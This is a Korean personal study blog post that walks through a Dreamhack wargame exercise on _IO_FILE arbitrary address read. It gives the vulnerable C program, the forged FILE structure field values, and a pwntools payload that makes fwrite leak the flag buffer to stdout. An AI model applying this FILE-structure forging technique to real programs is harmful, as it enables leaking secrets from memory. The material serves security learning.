본문 바로가기

_IO_FILE Arbitrary Address Read 본문

보안/개인공부

_IO_FILE Arbitrary Address Read

Seongjun_You 2022. 2. 10. 16:46

https://dreamhack.io/learn/273#1

 

로그인 | Dreamhack

 

dreamhack.io

 

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int read_account() {
	FILE *fp;
	fp = fopen("/home/iofile_aar/flag", "r");
	fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
	fclose(fp);
}
int main() {
  const char *data = "TEST FILE!";
  init();
  read_account();
  fp = fopen("testfile", "w");
  printf("Data: ");
  read(0, fp, 300);
  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

공격해야할 코드이다.

read_account함수에서 flag의 내용을 flag_buf 변수에 저장한다.

read에서 testfile의 fp를 조작할수 있다.

fwrtie로 data변수의 내용을 fp에 출력한다.

 

 

fp를 조작할수 있다는 점에서 취약점이 발생한다.

fwrite에서 참조하는 파일 구조체를 조작해 read_account함수에서 읽은

flag_buf의 내용을 획득한다.

 

파일 구조체 조작

_flags -> 0xfbad0000 | 0x800

_IO_write_base -> flag_buf

_IO_write_ptr -> flag_buf + 1024

_IO_read_end -> flag_buf

fileno -> 1(stdout)

 

 

_IO_read_end도 조작하는 이유는 

new_do_write함수 내에서 lseek 시스템 콜이 호출되지 않도록 만들기 위해서다.

 

payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base 
payload += p64(flag_buf + 1024) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(1) # stdout
p.sendlineafter("Data: ", str(payload))

'보안 > 개인공부' 카테고리의 다른 글

base64  (0) 2022.02.13
_IO_FILE Arbitrary Address Write  (0) 2022.02.10
__environ  (0) 2022.02.09
overwrite _rtld_global  (0) 2022.02.07
tiny backdoor (삽질)  (0) 2022.01.29
Comments